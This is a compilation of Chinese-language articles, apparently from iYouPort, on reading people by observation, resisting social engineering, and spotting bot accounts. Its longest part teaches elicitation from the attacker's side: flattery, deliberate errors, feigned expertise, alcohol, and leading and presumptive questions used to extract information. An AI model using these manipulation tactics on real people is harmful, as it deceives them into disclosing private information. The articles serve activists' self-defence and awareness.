- 此人会去哪里？他们为何选择在此时来到这个地方，并在之前选择穿着、携带或涂抹那些你刚才注意到的东西？他们的动机可能意味着什么？例如，穿着军靴的人和穿着人字拖的人之间的动机可能有什么不同？在温暖的日子穿着一件明显很厚重的夹克的人，正在准备去做什么？考虑携带健身包的人来自哪里很有意思，但更重要的是为什么他们现在正试图将它带到此地？他们未来的意图会是什么？

我养成了一个很独特的习惯，就是观察人。我能在一大群等地铁的人群中通过观察他们的外观和表情大致猜到他们各是做哪类工作的，正在急着去干什么。我曾经与人打赌，选中其中一个目标对象，我会事先写下我推测出的结论，然后尾随目标人，以验证对方的去向在我的结论之内。而且我经常能赢得这个游戏。

并不是说要你通过一个人的外表就准确推测其背景和意图，当然不是，许多看似可疑的指标结果显示完全无害（如果不是有点奇怪的

话）。但是，你注意这些东西越多，你的感知能力就会越准确。你对线索提出的问题越多，你找出答案的机会就越大。

这可能听起来像是一些抽象的叙述，但是，通过一些练习，大多数人都可以非常快速地观察、思考、提问和解答—几乎就像是，本能。

为什么这一技能是重要的？

只要你生活在这个世界上就免不了要与形形色色的人打交道，不论是工作、社交、娱乐、恋爱，还是公民社会对思想警察和一系列跟踪者的警惕和揭露、反对派群体对盟友的吸纳和联合，要想做到准确和有利，其根本性问题都是：识人的艺术。

并且，当你掌握了如何通过观察就能预测对方的行为，你就能知道自己应该如何做才能达成你预期中想让对方体会到的意图。这就是社交工程学的重点。是的本文依旧在社交工程学技术系列范围内，这一技术能力会涉及到诸如巧妙的伪装、在对方不知不觉中套到实话、在他人毫无防备的情况下把他们引导到你的目的上来……等等步骤，显然，读人是其中绝对的关键部分。

再次强调我们需要大家利用这些知识做正确的事，和那些接受过此类能力高端训练的思想警察和卧底线人过招，而不是用其欺负无辜的人。

我们反驳过异议群体内流行的“抓特务”活动，因为这会导致原本就缺乏信任的一群人更加难以联合，打散这一群体恰恰是维稳的最有效目标之一。但是，必须承认，线人很可能是存在的，如何识别他们？如何预测他们下一步会对我们做什么？社交工程学就是必需。

如果你想防止被骗、保护自己的资产和公司的安全，社交工程学也是必需的，还是那句流行语：要像骇客一样思考。只有当你能推测出对手准备怎么做的时候，才能在他们真的下手之前令其阴谋失效。

好的我们继续。

注意文化习惯

就如文章开头提到的，美国人、以色列人和日本人有着不同的习惯，这不仅表现在言谈举止上，也表现在穿着打扮和使用习惯上。举个例子，比如大号的健身包。在所谓的反恐时代，监视者对这种包的警惕性会非常高，一个背着大健身包出入聚会场合或中央级设置的人会令人紧张—— 这里面是不是炸弹啊？还是AK47？不不，这要看它具体

发生在什么地方了。

在旧金山，你经常能在公共场所甚至公司晚宴上发现有人背着这种大号健身包出没。当然，这些人得到了检查和询问，结果显示基本没有任何安全隐患。旧金山的人，尤其是男人喜欢下班后去健身房，然后当他们去参加晚会时，不想把他们的包放在车上。这是一个完全无害的原因（除了有点占地方之外.....），但对你的练习来说，这仍然是一个值得观察的细节：可以告诉你这个人来自哪里、以及为什么他们此时将这个东西带到这个地方。

仅仅因为某些东西是无害的并不意味着你的观察技能和选择性分析不适用。

在您与相关人员足够接近的情况下，会出现一个比较重要的侧面细节：就是香味。这可能听起来很有趣，甚至有点令人毛骨悚然，但它真的很具参考性。如果他们闻起来有点汗味的话，你前去搭讪的最好开篇应该是什么？如果一个人的头发有点湿，你能闻到肥皂或洗发水的味道，你能想到什么？注意人们在早上上班时的气味，以及他们在漫长的一天之后散发的气味，这是不同的。谁的卫生条件差、谁一直在喝酒或吸烟、谁使用过多的剃须膏或香水、是廉价的还是高档的？这将意味着很多有趣的背景细节。

嗅觉是经常处于潜意识水平的重要感官摄入之一。它值得被注意到。一些东西闻起来很奇怪的想法往往是非常直接的（比如不合适的场合，或者与衣着相貌所显示的背景不兼容）。您注意到的越多，您在检测人们来自何处、以及要去哪里、做出何种选择的机会就越大。

肢体语言

行为剖析是一个相当深刻的主题，但就我们的目的而言，并不一定要寻找微观表达或心理评估。相反，我们应该对形势的背景更感兴趣—这是哪里、正在发生什么，以及人们如何与这些因素相关。

首先，在你熟悉人们通常的行为方式之前，你不会在评估肢体语言方面处于非常有利的位置—— 忘了那些市面上的杂书吧，它们教了你很多错误的东西。在这方面，每个环境都是不同的，即使是一天中的不同时间也会有所不同，因此为“正常”或非敌对行为建立基线非常重要。这并不总是那么明确的，你将不得不接受各种各样的行为。但请记住，您看到的 99% 的人是非敌对的，因此可以为您提供该基线。

请记住，我们不仅仅关注一般人; 我们正在研究人们在特定地点、时

间和背景下的行为方式。人们如何表现？他们的行为是否与这个地方和时间的大多数人的行为协调？一个人是否紧张地独自出现在这里，而大多数出现在这里的人似乎很开心？是否有人一起出现然后又分手？他们这样做的原因可能是什么？问这些问题是因为原因总是存在的。

在某些区域的访问受到监管的情况下，大多数人只是自顾自的走过去，好像安全对他们来说并不是一个威慑因素似的。一个非敌对的人可能正在考虑自己为什么要去某个地方，而不是考虑是否必须通过安全检查。这将表明他们如何行事。

具有敌意的人通常表现出不同的行为。究竟是什么样的行为表明一个人有敌意，或者其他人试图隐藏某些东西？因为不同的人会表现出不同的行为模式，所以要确定这点是有点棘手的。例如，您可能会看到一个人快速行走，有一个明确的目标，全程表现为“隧道视觉”。相反，看到一个人走得很慢，紧张地环顾四周，时而停止并朝着目标迂回前进的情况也不少见。紧张和敌对意图可能以不同的方式表现出来，这一事实也许看起来有点令人困惑，但请记住，你并不是在寻找和分析的心理状态。

无论是太快还是太慢、隧道视觉、转向迂回，还是有什么东西，只要你意识到这不是大多数人在这种环境中普遍有的行动和行为方式，你就会发现需要对其加以更多的关注。

由于人类行为可能复杂多变，因此有许多看起来像特征的东西事实上是非常普遍的。

处于压力下的人几乎总是血液中具有更高水平的肾上腺素，于是就产生了一些可预测的结果。肾上腺素会增加一个人的血压，这往往会使人发热，有时会出汗。有些人的脸和耳朵可能会变红，而有些人可能会变得苍白—这两种情况都可能是坏消息。

高血压使人呼吸更快，使他们的嘴感觉干涸，导致他们尴尬地吞咽唾液，并且通常表现语焉不详。尽量注意人们专注于做的事。他们是否坐立不安、极度紧张、还是扣紧手指或抱臂？他们的眼神怎么样？是否完全避免过度接触或过度补偿？再次，一旦你意识到某些事情与大多数人在这种情况下的表现不一致，你就会发现需要更多关注的东西。

实践观察

开发您的观察技能的一个巧妙的方法是，可以随时随地进行观察和评估—在街上，咖啡馆，火车上或在球赛期间。

如果你愿意，你现在甚至可以做到。停止阅读这篇文章片刻，看看自己身上有什么。你穿什么样的鞋子？（根据我的经验，鞋子可以告诉你很多关于一个人的信息）你的手指上有戒指吗？你的手机藏在口袋或钱包里，还是现在就在其他地方？你的手和指甲是什么样的，为什么会这样？你现在穿什么样的衣服，你有什么样的手表，手机套或眼镜？

所有这些线索，以及更多，都是在你到达此时此地之前所做出的选择。即使你当时没有给出太多有意识的想法，这些先前的选择也明显反映了关于你的某些事，它值得分析。或者假设一下，你收到了一些作为礼物的东西，你最下意识的动作是把它们还在哪儿？这将透露你对送礼物的那个人的下意识觉知。

它基本上是一个福尔摩斯式的观察和归纳推理游戏—或者我喜欢称之为“归纳观察”。你玩的越多，你就会越快熟练起来。继续推动和测试自己，看看你能够多快地检测到事物，你可以在尽可能短的时间内检测到多少细节，以及你对人们的背景和动机的评估是否正确。

如果您对某人的评估最终被证明是正确的，请记住它，并尝试查看它是否也适用于其他情况下的其他人。如果您的评估不正确，那也不坏—这意味着您正在尝试和学习。请继续。

最后，在将它们应用于其他任何人之前，永远不要忘记，使用您的归纳观察技能。注意自己的外表和肢体语言，并有意识地利用它们，以向外投射出适合您的情况的图像。这是给人们留下印象和塑造形象的好机会，所以，明智地使用它。〇

原文

礼貌的偏执 - iyouport

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本自我保护措施-技术技巧以防身

【2019年5月10日存档】偏执这个形容词经常被用于贬义。但是，在防止社交工程攻击方面，偏执是一件非常有用的事。你可以在微笑的同时阻止一场致命的攻击。什么是礼貌的偏执？

在防止社交工程攻击方面，偏执是一件非常有用的事。

或者正如雷切尔·托巴克（Rachel Tobac）所说的，“礼貌地偏执狂”—— 你可以在微笑的同时阻止一场致命的攻击。

对于一位前特殊教育老师来说，他承认自己不是技术人员，但是他熟悉渗透所有行业、各种规模公司的最常见攻击媒介。因为单纯的技术保护从来不是那么有效的，操作技术的永远是人，人类是具有天然且顽固漏洞的媒介。

相反，训练有素的人可以成为安全链中最强大的力量—— 人是你的第一道防线。

如果是你不认识的人—— 即使是你认为自己应该知道的人—— 对你特别好，谈论你们之间的共同点和兴趣、或者展示关于你的组织和其他人的非凡知识，但也要求您提供不公开的信息，那么您的防范阈值应该立刻调高。

我们都知道善良的人性是必需的和重要的，但是，如果善良的人没有注入健康的偏执，那么这些良好的性格特征就很容易被利用。

请注意，友好和礼貌并不一定意味着成为一个傻瓜。

每一个优秀的社会工程师都非常擅长不断进化自己，并且总是找到他们可以使用的公开信息对目标进行“深度研究”。你在互联网上运作的每一个字都能构建关于你的超级详细的个人资料。

你家的保姆或者邻居、或者你公司的清洁员，都可能知道关于你的致命信息；一个人在办公室里的照片、戴着徽章的或在照片背景中出现的电脑屏幕，都可以提供大量的信息，任何攻击者都可以利用它来入侵你。

如果我能看到你的电脑，我就可以从托盘中看到你使用的是什么样的防病毒软件。因此，我就可以定制恶意软件并避免在您的计算机上被检测到。

那么礼貌偏执的最佳方式是什么？

其中一个基础就是，在社交媒体上发布之前进行思考："如果有人知道了这一点，他们会如何利用这些内容欺骗我？" 这也有助于理解人类行为是如何被利用的。这点很重要，就如 **IYP** 一直强调的：只有当你掌握攻击方法的时候，才能真正学会防御。

paopao曾经发布过很多关于*说服技巧*的文章，这些技巧很重要，同样道理：如果您了解如何说服别人，就能了解如何防止被恶意的说服所操纵。

劝说的基本原则包括"互惠、权威和偏好。它们并不复杂，但重要的是要了解它们的工作原理，以及可以如何被利用。

互惠指的是，攻击者会假装主动放弃一些看起来高价值的东西，引诱你的互惠心理，从而放弃攻击者最想要的东西。

权威指的是，攻击者通过伪装技巧假扮成你心目中的权威，以便可以对你实施操纵—比如你是一名新员工，而对方扮演你的上司，这种时候你很可能难以拒绝他的要求。

如果一个人看起来很好、很巧合地与你拥有足够多的共同点，从而成为了你最好的新朋友—— 请记住，虽然你可能喜欢这个人，但你并不*认识*他或她。

避免社会工程攻击的方法其实也不是那么复杂：如果有人声称他们是某人或某种身份，请不要立即相信，使用你能控制的其他不同渠道去确认这点。

不要相信来电显示，篡改来电显示是非常简单的。你只需要记下对方所说的名字和机构名，告诉对方你稍后回拨过去。如果对方是骗子，他们就收不到你的回拨。

专业的渗透测试是最好的办法，尤其是敏感的团队、社区和企业，都应该与专业测试组织合作，他们能帮你发现你自己不了解的安全漏洞。

要知道，社交工程攻击永远不会减少为零。随着预防技巧被不断公开和进行相关培训，攻击者也在关注这些信息，从而制定能避免被识破的升级式攻击方案。

现实不是完美的，但是锻炼防御意识永远都会有效。

原文

语言是强大的武器 — — 如何使用它？社交工程攻击演示继续：致命的诱导 - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

> 你喜欢给别人纠错吗？听到别人说出明显错误的话就有立即用事实反驳的冲动？你听到称赞自己的言语会扛不住吗？长期被忽视的你会觉得“终于遇到了伯乐”？你知道记忆能被修改吗？通过简短的对话就能实现… 人性的弱点有可能是致命的。在中国，你有很多机会使用到这些技术，而且这种“机会”只会越来越多，你甚至没有选择退出的权利。为什么？

「图」

我们回来啦。

上一次关于“诱导”的介绍中我们谈到了：通过不断练习，基于我们介绍的技巧，你将越来越熟练，不仅能将这一技术用于正义的目的，而且可以防范自己被高超的诱导者操控。

这篇文章将具体介绍：您应该如何练习以掌握这些技巧。

成为成功的诱导者需要几个关键要素：

- 不惧与他人交谈，包括处于非“常规”场景中 — — 热情好客的“有人缘儿”形象是完全可以装出来的；
- 真心关心他人，即使是陌生人。乐于并享受倾听 — — 这点很重要。真心还是假意很容易让你暴露，基本上无法伪装，你需要尝试让自己富有爱心，真的去关心他人的心情。还记得我们强调过的吗：杰出的交流者是擅长倾听的，而不是擅长表达；
- 只在有了真正的解决方案时才提供建议或帮助。在他人说出自己的问题时，不做主观判断 — — 这也很重要，尤其是在中国＋超个人主义时代的大环境下。中国社会由于同理心很差，超个人主义时代人们倾向于主观意见，这会让“交流”变成自说自话，从而浪费了探索对方心理的可能性。杰出的社交工程人员

绝不会看起来像一个高傲的利己主义者。

确实存在成功诱导的关键元素。美国国土安全部有一个供内部员工使用的有关诱导的小册子，这本小册子中有一些十分精彩的观点。基本上看，诱导的应用在于其有效性、很难察觉及不具威胁性。该手册采用了“怎样避免”的角度来描述诱导，但是其后续章节中也给定了一些场景以展示其要点。你能在上面的链接中看到英文原版。

现在我们来梳理一下它提供的要点。

1.唤醒他人的自我

美国国土安全部的手册中的场景如下。

攻击者：“你的工作一定很重要，某某认为你很厉害。”

目标：“谢谢，谬赞了，但是我的工作并不那么重要，也就是……”

唤醒他人自我的方式简单有效，但是要注意，如果滥用这一强大的工具、或者不是出自真心，则会让目标失去热情。你不会到处和人说：“哇噢，你真是全球最重要的人，长得还那么帅。”这样说只会引起别人的警觉，适得其反。

唤醒他人的自我需要微妙的处理。如果你碰到的是一个真正的自我陶醉者，在听他夸耀自己的过往成就时，眼珠不要转，不要叹气，也不要争论。微妙的自我唤醒要像这样，“你的那个研究改变了很多人在……方面的观点”；或者“我无意中听到张先生在那边说，你是他最敏锐的数据分析师”……等等。要达到目的，但不能说得太明显。

据美国国土安全部的手册介绍，精心的吹捧会促使他人说出一些从未透露过的信息，而这正是社会工程人员想要的结果。

2.表达共同的兴趣

考虑如下的模拟场景。

攻击者：“哇噢，你有 ISO 9001规范数据库的背景？那么你该看看我们开发的辅助认证的报告引擎模型，我可以发给你一个副本。”

目标：“太好了。我们正琢磨着在系统中添加一个报告引擎呢。”

表达共同兴趣是诱导的一个重要方面。在上面的特殊情境里，甚至

比“唤醒自我”更加有效，因为它迅速拓展了关系，超越了初始交流范畴。目标同意进一步接触，同意接收攻击者发送的软件，且表达了以后继续讨论公司软件计划的兴趣。所有这些都会导致大规模安全入侵。

此时的危险在于攻击者完全掌控了形势。他控制了下面的步骤，发送什么信息、多少信息以及何时发送。对社会工程人员来说，这一步相当有利。

当然，如果是长期目标，可以找一个能共享的软件，那就更有利了。共享有用的、非恶意软件能够构建信任及和谐的关系，使目标产生进一步交流的责任感。

3.故意说错

不经意间说错一些事似乎会适得其反？不，这点如果处理得好，却也能是一件利器。

攻击者：“所有人都知道 XYZ公司这方面的软件销售得最多。”

目标：“事实上并不是这样。我们公司从1998年就开始销售类似的产品了，通常我们的销售记录会超过他们的23%以上”。

再比如这样。

攻击者：“我觉得某某人他们的团队很大啊，有几百人，分布在至少三四个城市”。

目标：“这有什么，我们有一千一百人，不仅在***等城市建立了根基，还正在向***国家发展……”

有效使用这种方式能诱导目标说出真实的数据。大部分人在听到错误的表达时都有一种校正的欲望，似乎他们自己的正确性受到了挑战。人们喜欢告诉他人、显示自己的博闻强识，不能容忍错误是人类的天性。没错，也是人类的弱点。⚠

充分理解这一点，可以让这一攻击变得更强大。你可以通过这种方式让目标说出真实的全部细节，也能在一群人中立刻发现对这一主题最为了解的人。以便发起下一步针对性的攻击。

可怕吗？我相信99%的人都能中招。尤其是在社交网络上！想想你平时给网络上的陌生人“纠错”的冲动吧。

不过对于社交工程师来说，这种方法不宜多用，过多的使用会变假，反而引起某些人的怀疑，尤其是那些掌握了很多秘密信息的人。他们的确有弱点，但也有着比普通人更加强烈的警惕性。他们会在下意识中犯错“说走嘴”，但不可能经常走嘴，于是作为攻击者，要见缝插针式地使用这一技巧，切勿贪婪。

4、主动提供信息

美国国土安全部的手册中对人的共性做了很好的概括。其中责任感就是一种很强大的力量。作为社交工程师，在交流中主动提供信息会迫使目标提供具有同样价值的信息。

我的一位朋友看上了一位姑娘，希望获得追求的机会。这位朋友很实在，是以结婚为目的的追求，于是很想了解下姑娘的年龄、学历等信息。你知道的，对女士来说这些是禁忌话题，你无法直接提问。于是我建议他先介绍自己，把介绍性信息穿插在一堆其他话题之间，以掩盖目的性，并让对话环境变得自然。结果不出所料，姑娘果然主动说出了自己的年龄：“哎呀你比我大五岁呢”。很不错吧。

想试一下吗？下次在聊天中这样说，比如：“唉你听说没有啊，同事A被辞退了！现在找工作好难的，他这个年龄恐怕……真是不幸啊”。

大部分人在听到你这么说的时候都会附和一些近似的情绪，并带出近似的信息：“啊，我没听说啊！太惨了，最近很多人都遇到了麻烦，同事B正在办离婚呢，房子都保不住了”。

因为人类倾向于制造气氛和谐，表达自己的同病相怜心态，于是很多人喜欢分享类似的信息，社交工程人员可以利用这一点，为谈话设置一个基调或氛围，从而构建出责任感。

5、假装高深

看起来与上述中“说错话”的装傻相反。但这是另一个非常强大的工具。

一般情况下，如果对方具有某方面的知识，和他讨论相关问题并无不当。攻击者可以审慎地利用这一点，首先展示一些信息，假装知道一些内情，然后使用诱导技术展开话题。过程中把别人的观点当成自己的说出来，进一步强化自己的专家假象。你笑了吗？哈哈，我知道的，我们的读者中 90% 的人在网上交流中遇到过这样的人 — — 他们把自己读过的他人的观点当成是自己的观点说出来。俗称“装13”，

他们应该没有恶意，但是，请注意，这种方法如果被恶意者有目的地使用，效果将非常强大。

下面举个例子。

你的任务是到一家完全不熟悉的公司谈一笔交易。你需要在前往见面之前搞明白该公司的详细信息。你发现另一些人似乎对该公司有一定了解，知道与该公司的人打交道的技巧。但是你不认识这些人。你应该如何打探到关于该公司的细节？

以“求问”开头？再发个红包？不不，这样你不可能得到全面的真实的信息。

你可以以闲谈者的身份加入这群人的交流。首先是要基于你的目的了解到一些可以钓出有价值信息的引线知识。比如你应该对“搞关系”这个话题本身很熟悉，去找一些资料来读，记住其中的关键技巧，在和那群人闲谈中将你记下的东西随便说出来，假装自己是这方面专家。

这番发言要自然，由于话题近似肯定能引起那群人的兴趣，从而对你的发言“做出更多补充”，而这些补充就是你想要的东西了。如果你觉得信息还不够充分，那就继续使用上述以及前文中介绍过的方法，比如装傻、故意说错话等等，穿插应用它们，能更多激发目标人深入的阐述。

6、酒精的作用

在中国，这件事基本不必多说了，几乎所有人都明白它是什么意思，连秘密警察都知道邀请目标人 — 即被他们监视的人 — 吃饭喝酒，以加强诱导的可能性。所以你应该避免和心怀不轨的人一起用餐。

⚠ 注意，如果你经常在社交网络上晒高级酒品或酒局的照片，对方将能够借此了解到你的弱点！

更麻烦的是，有些时候人们并不清楚谁是心怀不轨的人，也不知道自己在攻击者眼中的价值何在。这就有些棘手了，而且很危险。有一个著名的例子能说明这个问题。

80年代，某实验室的一位资深科学家访问某国的一个研究院，举办一个关于核聚变的讲座，这是他的专业。他在核武器方面有着丰富的知识，但他也深深明白，这方面是禁区，所以需要将讲座的内容限定于他的研究主题。

讲座很成功。为他庆祝的酒会上，人们不断走上前来赞扬他的知识学术，每次都要祝酒干杯，就像你知道的那种场面。逐渐的，人们开始和他打听一些绝密的信息，例如氘和氚的点火要求，这两种元素是中子弹的组成部分。

他可没醉，他对这些问题防护得很好。但是吹捧激烈，他似乎有点架不住了，于是打算浅浅的做一个类比。于是他说，如果将这两种元素混合在一起成为一个球，从桌子上滚下来，它们就能点燃，因为它们的燃点很低。

这个看起来打趣式的无用消息实际上已经为该国的核武器研究者提供了清晰的指引。他们会以此为引线和另一位科学家交谈，然后得到更多的知识，由此类推以获得更多的知识。最终掌握了清晰的蓝图。

这可是完全真实的故事。

在重要的社交工程攻击中，所有必要信息往往不会来自于同一个攻击目标，而是这样：你从第一个人口中套出关于时间地点的信息，再利用这些信息，假装是自己的了解，而从第二个人口中套出更多信息。以此类推，不断深入，最终将这些信息聚合在一起。这不是件容易事，但完全可以做到。后面还会继续分析这点。

⚠ 所以为了防止被诱导，你需要记住，并不是自己感觉自己说出来的东西“无关紧要”它就真的无关紧要了，你说出的话可以作为一个引子，从而进一步对其他人使用诱导。

提问的学问

提问是一门大学问。不仅能让自己长知识，还能成为攻击的绝佳武器。作为社交工程人员，你必需认识到，诱导绝不是走上前去问对方：“你的服务器密码是什么？”

好吧这是个玩笑。但是要知道，你的目的是利用一些琐碎的信息，然后通过它们构建出你所寻求的答案的全貌，或者通过搭梯子的形式一步步获得你想要的东西。

不论使用哪种方法，这类信息收集方式都会为社交工程人员达成目标清晰的方向。作为一个防御社交工程攻击的人，你应该有意识的去捕捉对方的话题引导是否具有台阶的效果，基于你需要保密的东西来说，这些话题是否正在打造某种路径。

好的，我们还是以攻击者的身份来演示这个问题。

「图」

下面分析较常见的几类提问方式，以及社交工程人员如何使用它们。

1、开放式问题

开放式问题就是那些无法用“是”或者“不是”来回答的问题。如果你问：“今天外面很冷，是吧？”得到的答案只能是：啊、嗯、是啊，之类的玩意。如果你的问题是：“今天外面的天气怎么样？”那么就能引导出更有效的答案，而不仅仅是“是、不是”。

这个方法不难，很多“优秀的”记者都会，尤其是那些商业媒体记者或者党刊记者，这就是为什么这里的“优秀”带有引号。它是指在社交工程学利用层面上的优秀，它本身有可能违背新闻原则。

想象这样一个场景。我约你见面，而临时你取消了约定，我希望知道原因。我会这样说：“你怎么了？到底出了什么事？”

“我感觉不太舒服”。

我：“啊，希望你现在感觉好一点了。哪里不舒服啊？”

这样继续下去，通过一连串的提问我就能知道为什么你没有赴约。假设我仅仅是责备，那我很可能什么信息都得不到，比如这样：“嗨伙计，你到底搞什么啊，居然放我鸽子！”

开放式问题的一个强大之处就在于，可以加入更多的为什么和怎么样。如果问题中包含为什么或怎么样，就有机会得到对方更深入的解释，其中会暴露一些你感兴趣的细节。简单说就是，让对方有机会说得更多，必然会露出线索。

2、封闭式提问

看起来封闭式提问和开放式提问截然相反啊，为什么也会有用呢？

因为封闭式提问的目的通常不是要得到详细信息，而是要对目标进行进一步的引导。

司法人员和律师经常运用这样的推理。如果想要目标遵循特定的回答路径，他们的提问往往是封闭式的，不允许答案出现天马行空的可能。比如这样：

“你认识被告人张三吗？”

“是的我认识”。

“6月9号夜晚你在ABC酒店见到了张三？”

“见到了”

“当时是什么时间？”

“晚上十一点半左右吧”

你看，所有这些提问都是封闭式的，其答案只能一两种。

3、引导式提问

引导性提问结合了开放式和封闭式的特征，是具有答案暗示的开放性问题。比如这样：“6月9号晚十一点半左右，你和张三在ABC酒店见面了，是吗？”这种类型的提问会引导对方，为其提供表达自己观点的机会，但其发挥的空间很窄。同时，引导性的问题能暗示你对答案已经有所了解了。

如果你被秘密警察做出这样的提问，要注意，他们有可能已经拿到了一些信息，这种时候你需要谨慎回答，避免被进一步套出更多信息。因为他们既然找你谈话，那就意味着他们掌握的信息至少很不充分。并且，你提供的任何信息都将被他们用来实施进一步的操控，对你、或者对更了解此事的人。

如果他们只是在宣传“我们现在什么都知道了，你要是撒谎对你可没什么好处”，等等，这种情况下说明他们根本没有了解什么关键信息，这只是恐吓，所以不用害怕，专心致志在谨慎发言的关键点上。

英国心理学家 Frederic Bartlett 总结过一个关于记忆重构的研究结果，很著名。他告诉实验对象一个故事，然后让他们立即回忆其中的部分事实，然后两周、四周之后，再次进行回忆。

Bartlett 发现，实验对象根据他们各自的文化背景、信仰和个性，修改了故事的细节，没有人可以正确的回忆完整的故事。这证明了记忆并非是对过去的正确记录，很多人会*构造记忆*来契合自己对世界的已有认知。

在被询问时，很多情况下我们的记忆库是基于自己的感知和对自己重

要的事情而形成的。正是因为这样，通过引导性问题来操纵人们的记忆是可行的。最经典的记忆操纵案例就是保罗英格拉姆案了，当事人的记忆被完全扭曲，在压力和逼问下竟然真的觉得自己就是个变态狂。我们两年前在“劝导术”的文章中介绍并分析过这个案子，你可以在这里看到。

Elizabeth Loftus 是一位目击证词研究专家，也是这方面的开拓者，她曾经演示了利用引导性问题扭曲人们记忆的可能性。例如，给目标人看一张没有泰迪熊的儿童卧室照片，然后问目标人：“你有没有看到一只泰迪熊在房间里？” 你并没暗示房间里有泰迪熊，所以他会按照自己的想法回答：“有”还是“没有”。然而，如果提问变成这样：“你看到泰迪熊了吗？”这就在暗示房间里有泰迪熊，大多数时候对方会回答“看见了”，因为人们有一种印象，即泰迪熊和儿童房间存在相关性。

并不是看起来这么简单。这样的问题往往会混在一大堆无关紧要的问题中间，过渡会非常快，如果你放松警惕就很容易中招。反过来看，学习怎样使用引导式提问能明显增强社交工程人员收集信息的能力。

4、假设性提问

就是字面的意思 — — 你假设目标人已经拥有特定的知识（对特定事件的了解）。通过假设性提问，社交工程人员能够确定目标是否真的拥有他想要的信息。

这种提问在司法调查中很常见。比如审讯者并不知道目标人是否认识张三，以及和张三的熟悉程度如何。那么这样问：“张三住在哪儿？”通过目标人的回答可以分析出想要的东西。

使用假设性提问时有一点需要注意，就是：不要让目标人了解事情的全貌。这点很关键，如果目标人了解了整个意图，社交工程人员就会丧失对环境的部分控制能力，控制权会反转。并且，你也不能通过假设性问题指责目标的失误，这样会疏远目标，同样会失去控制权。

如果你是社交工程人员，在使用假设性提问时，最好已经对事实有了部分了解，然后将事实贯穿在问题中。这点非常重要！也是中国情报机构、甚至国宝会使用的方法。它唬人的效果很强大，你一害怕就输了。

假设性提问中绝不能含有虚假信息，否则目标会迅速失去兴趣，你不可能再得到真话了。并且，你必须做一个充分的前期研究，积累一些

关键知识，这样就可以作出精妙的假设性提问。但请注意，如果你无法满足目标对你的知识水平的预期，反而会把整件事搞砸！所以，不能装得太大。

回到上面的核物理学家的例子，假设我的问题是："氘和氚的温度阈值都很低，在处理它们的时候怎样避免燃烧呢？" 如果我本人不是核物理学家，可能很难得到后续的内容，这样提问只会适得其反，没什么用处。你需要对假设性提问进行合理的规划，才能获得最大的效果。

警方和司法人员很擅长这手。"进去"过的人都熟悉这个，司法人员有一个"法宝"，那就是他们会这样说："在回答下一个问题之前，请考虑清楚……"。这句话给对方的暗示是：在回答时一定要诚实。这招很好用的。我们展示的是一个模式。你可别直接用原话哦，因为你没有那身制服，你说出这句话很可能吓唬不了别人。

好啦差不多了，我们来总结一下。

「图」

— — 如何精通诱导 — —

诱导在应用中有一系列的原则，请记住以下几个要点：

- 问题太多会吓跑目标。如果你用一堆问题轰炸，不会有任何收获，只会让对方害怕。记住，对话是一种有来有往的交互，你想要提问，就需要告诉对方一些信息，这样才能让对方感觉自然。
- 问题太少也会让对方不自在。你一定碰到过那种"尴尬的沉默"，直接把天儿聊死了。这样不会有效果对吧？不要假设目标善于交谈，会长篇大论、滔滔不绝，你需要控制整个局面。你必须做足准备工作，针对你需要进行的话题，以便让对话有趣。
- 一次只问一个问题。我们后面会介绍"思维缓冲区溢出"，但是在这里，你的目的不是使对方溢出，而是收集信息，构建答案的轮廓。所以你必须掌握一个平衡，不能显得太急切，也不能兴味索然。

这些原则有助于你掌握这一惊人的才能。不论是用于社交工程，还是普通的学习交往的技巧，都应该遵循以下的方法：将谈话想象成一个漏斗，上面是最大的、最"中性"的部分，底部是最窄的、最直接的部

分。

开始问一些相对中性的问题，通过这些问题收集一些情报线索。在对话中要你来我往，然后问一些开放性的问题。如果有需要，使用几个封闭式问题将目标引到我们最感兴趣的部分。如果情况允许，进入漏斗底部，询问最直接的问题 — — 从这个漏斗中流出的就是源源不断的有价值的信息。

在中国，你有很多机会使用这样的方法来预防被诱导，而且这种机会只会越来越多，随着中国当局对所谓“间谍”的防御兴趣加强，普通人都可能有机会直面来自国安部门的、经过高端心理训练的诱导人员。我们已经收到了类似的报告。所以，你知道这些技术的价值，它有可能事关人身安危。

小结

诱导技术是强有力的，不仅能提升社交工程攻击能力，也能提高日常沟通的水平。明白如何提供正确的节奏和方式给出恰当的问题，可以得到更多的机会。作为社交工程人员，这是一个成败的分水岭。第一印象往往取决于外表，但是，从你口中说出的话更是成败的关键。

精通诱导技术几乎可以确保社交工程人员的成功，也能为你扮演的角色大大加分。

我们上面开了一个玩笑：“你没有司法部门的制服就无法使用那套原话来强迫对方说出真相”，因为不管用。其实这不仅仅是个玩笑。诱导攻击往往要结合伪装的使用，成功的伪装能极大程度上给诱导效果加分。怎么做？后面我们会慢慢介绍。下次见。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

AS22 如何发现社交媒体上的机器人账户？- 12种方法 - iyouport

心理战和信息战行动技巧、战术和原理让它民主-公民掌握真相的技巧和技术

【2019年12月26日存档】这里是识别虚假账户的一些技巧 —— 请注意，每一个指标都不可以作为单独的判断标准。它们应该结合起来考虑。

“机器人”（冒充真实人类的虚假社交媒体帐户）在 Twitter 等平台上占有重要地位。它们的数量有百万计；最大的僵尸机器人网络有几十万虚假账户彼此关联。

这些“机器人”会严重扭曲民主辩论，尤其是当它们集体出动的时候。

它们可用于操纵热门话题或主题标签趋势；它们还可用于放大或攻击特定的消息或文章；并同时用来骚扰其他用户。

同时，相对而言，许多机器人网络很容易被发现，而无需使用专门的软件或商业分析工具。

本文列出了许多线索，这些线索对于揭露虚假帐户来说都很有用。

第一原则

Twitter 机器人只是一个由软件运行的帐户，类似于自动驾驶飞机。由于可以打开和关闭自动驾驶功能，因此，这些虚假帐户在不同时间的行为是不同的，有时可以像自动程序一样，有时也可以像人类用户一样。

因此，以下提示应被视为 *判断给定时间段内机器人行为* 的指示，而不是该帐户是否“是”机器人的非黑即白定义。

并非所有的机器人都是恶意的或政治攻击性的。自动帐户也可以发布例如诗歌、摄影或新闻（新闻媒体经常使用机器人账户推送内容），

而不会产生任何扭曲的效果。

因此，我们的重点目标应该是伪装成人类并故意放大政治类信息的机器人。

⚠在所有情况下，重要的是要注意，不能依靠任何单一因素来识别类似机器人的行为。重要的是多种因素的组合。根据我们的经验，最重要的三个因素可以称为“三个A”：即 activity, anonymity, & amplification。

1、活动

帐户是否自动执行的最明显指标是其活动。

可以通过查看其个人资料页面并用帖子总数除以其活跃天数来计算得出。

